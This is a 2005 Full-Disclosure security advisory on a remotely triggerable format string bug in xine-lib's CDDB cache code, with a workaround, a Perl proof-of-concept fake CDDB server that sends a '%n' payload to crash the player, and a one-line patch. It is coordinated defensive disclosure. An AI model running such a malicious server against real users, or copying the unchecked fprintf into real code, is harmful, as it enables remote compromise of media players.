[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] xine/gxine CD Player Remote Format String Bug



xine/gxine CD Player Remote Format String Bug


BACKGROUND


"xine is a free multimedia player. It plays back CDs, DVDs, and
VCDs. It also decodes multimedia files like AVI, MOV, WMV, and MP3
from local disk drives, and displays multimedia streamed over the
Internet. It interprets many of the most common multimedia formats
available - and some of the most uncommon formats, too."

gxine is a "gtk-based media player style gui + mozilla plugin".

( from http://www.xinehq.de/ )

Both programs are available in many Linux distributions and *BSD
ports collections.


BUG


When you use xine or gxine to play a CD, the programs will connect to
a CDDB server to retrieve the record's artist/band and title as well
as the song titles. The programs write this information to a cache
file, and the code in xine-lib that performs this action suffers from
a format string bug, allowing remote execution of arbitrary code.

It is worth noting that CDDB servers allow any user to add or
modify information about records. It is also worth noting that the
vulnerable code in xine-lib writes all information about a record
that the server sends to it to the cache file, including comments.

Thus, this bug could be used for automated mass attacks against
anyone in the world who listens to a particular CD in xine or
gxine. There is also a potential for social engineering attacks.

The vulnerable code is found in the xine-lib library that both xine
and gxine use. The vulnerable versions are at least xine-lib-0.9.13,
1.0, 1.0.1, 1.0.2 and 1.1.0.

The bug has the identifier CAN-2005-2967.


WORKAROUND


To avoid this vulnerability, the user can switch off CDDB lookups
under Settings / Setup - change Configuration experience level to
Advanced, press Apply, go to the Media tab, deselect Query CDDB,
press Apply and finally OK.


TESTING AND PATCHING


I have attached a fake CDDB server that exhibits this problem. (You
do not need to change server to get hit by this bug, as the CDDB
servers allow anyone to add or modify information, but I think it
was nicer to test it this way.)

You run this server, then you start xine or gxine, change
Configuration experience level to Master of the known universe,
press Apply, go to the Media tab, enter the malicious CDDB server's
host name under CDDB server name, press Apply and then OK. Finally,
you put a CD in the computer's CD drive and press the CD button in
the programs. The format string bug will then crash xine or gxine.

Apart from the server, I have also attached a patch that corrects
the problem.

The upstream developers as well as the vendor-sec mailing list
were contacted, and the 8th of October was agreed upon as the
release date.


// Ulf Harnhammar for the Debian Security Audit Project
   http://www.debian.org/security/audit/

#!/usr/bin/perl --

# xine-cddb-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 8880;
$main::timeout = 5;


# *** SUBROUTINES ***


sub mysend($$)
{
  my $file = shift;
  my $str = shift;

  print $file "$str\n";
  print "SENT:  $str\n";
} # sub mysend


sub myreceive($)
{
  my $file = shift;
  my $inp;

  eval
  {
    local $SIG{ALRM} = sub { die "alarm\n" };
    alarm $main::timeout;
    $inp = <$file>;
    alarm 0;
  };

  if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
  $inp =~ tr/\015\012\000//d;
  print "RECEIVED:  $inp\n";
  $inp;
} # sub myreceive


# *** MAIN PROGRAM ***


{
  my $server = IO::Socket::INET->new( Proto     => 'tcp',
                                      LocalPort => $main::port,
                                      Listen    => SOMAXCONN,
                                      Reuse     => 1);
  die "can't set up server!\n" unless $server;


  while (my $client = $server->accept())
  {
    $client->autoflush(1);
    print 'connection from '.$client->peerhost."\n";


    mysend($client, '201 metaur CDDBP server v1.5PL2 ready at '.
           scalar localtime);

    while (my $str = myreceive($client))
    {
      if ($str =~ m/^cddb hello ([^ ]+) ([^ ]+) (.+)$/i)
      {
        mysend($client, "200 Hello and welcome $1\@$2 running $3.");
        next;
      }

      if ($str =~ m/^proto (\d+)$/i)
      {
        mysend($client, "201 OK, CDDB protocol level now: $1");
        next;
      }

      if ($str =~ m/^cddb query ([0-9a-f]+)/i)
      {
        mysend($client, "200 rock $1 Exploiters / Formatted and Stringed");
        next;
      }

      if ($str =~ m/^cddb read ([a-z]+) ([0-9a-f]+)/i)
      {
        my $docum = <<HERE;
210 $1 $2 CD database entry follows (until terminating \`.')
# %n%n%n%n
DISCID=$2
DTITLE=Exploiters / Formatted and Stringed
DYEAR=2005
DGENRE=Rock
TTITLE0=Format
TTITLE1=String
TTITLE2=Bug
EXTD= YEAR: 2005
EXTT0=
EXTT1=
EXTT2=
PLAYORDER=
.
HERE

        $docum =~ s|\s+$||s;
        mysend($client, $docum);
        next;
      }

      if ($str =~ m/^quit$/i)
      {
        mysend($client, '230 metaur Closing connection.  Goodbye.');
        last;
      }

      mysend($client, '500 Unrecognized command.');
    } # while str=myreceive(client)

    close $client;
    print "closed\n\n\n";
  } # while client=server->accept()
}
--- src/input/input_cdda.c.old  2005-05-28 11:26:59.000000000 +0200
+++ src/input/input_cdda.c      2005-10-02 01:43:47.921856832 +0200
@@ -1473,7 +1473,7 @@ static void _cdda_save_cached_cddb_infos
     return;
   }
   else {
-    fprintf(fd, filecontent);
+    fprintf(fd, "%s", filecontent);
     fclose(fd);
   }
   
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/